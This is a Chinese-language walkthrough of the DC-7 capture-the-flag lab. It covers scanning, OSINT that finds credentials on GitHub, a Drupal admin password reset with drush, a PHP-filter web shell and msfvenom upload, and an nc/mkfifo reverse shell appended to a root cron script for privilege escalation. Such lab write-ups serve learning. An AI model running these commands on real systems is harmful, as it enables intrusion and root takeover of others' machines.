nmap扫描
访问80端口
首页英文翻译过来就是：
DC-7引入了一些“新”概念，但我将让您弄清楚它们是什么。:-)
虽然这个挑战并不完全是技术性的，但如果你需要诉诸暴力或字典攻击，你可能不会成功。
你要做的，就是在盒子外思考。
在盒子外面。:-)
盒子外？这里我没有理解作者的意思，还是常规思路去走流程
目录扫描
python3 dirsearch.py -u http://192.168.1.5/ -e php -w db/Zdir.txt
发现了web.config，robots.txt等一些文件，但没有可利用的东西
sqlmap跑search
sqlmap -u “http://192.168.1.5/search/node?keys=1” --dbs
使用Drupal的扫描工具---droope
吐槽：扫的很慢，连版本都不能确定
去exploit database查找Drupal的历史漏洞
试了很多，都没成功
遗漏的地方：盒子外面。什么是盒子外面？
看过其他大佬题解后，原来突破点在@DC7USER这
google搜索@DC7USER
一个Teitter账号，一个github账号
在github里的配置文件中找到了用户密码
ssh登陆dc7user账号
基本的信息搜集
dc7user目录下mbox中发现一个定时启动脚本
分析backups.sh
backups.sh以root权限定期执行，但www-data组也有所有权限，因此从网站入手拿到www-data权限写入nc定期执行，然后连接就是root权限了
drush命令
drush，gpg简单来说就是专门用来管理Drupal站点的shell。这里用drush命令更改admin密码，解除五次登陆错误后的锁定
drush user-password admin --password="000"
drush php-eval 'db_query("DELETE FROM `flood`");'
Drupal后台getshell
Drupal通常getshell通过php filter，但Drupal8移除了这个模块，我们可以下载手动安装
https://www.drupal.org/project/php
导入界面
http://192.168.1.5/admin/modules
启用php filter模块,添加basic page
蚁剑连接
上传msfvenom的php马，获得session
向backups.sh中添加反弹nc
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.6 1234 >/tmp/f" >> backups.sh
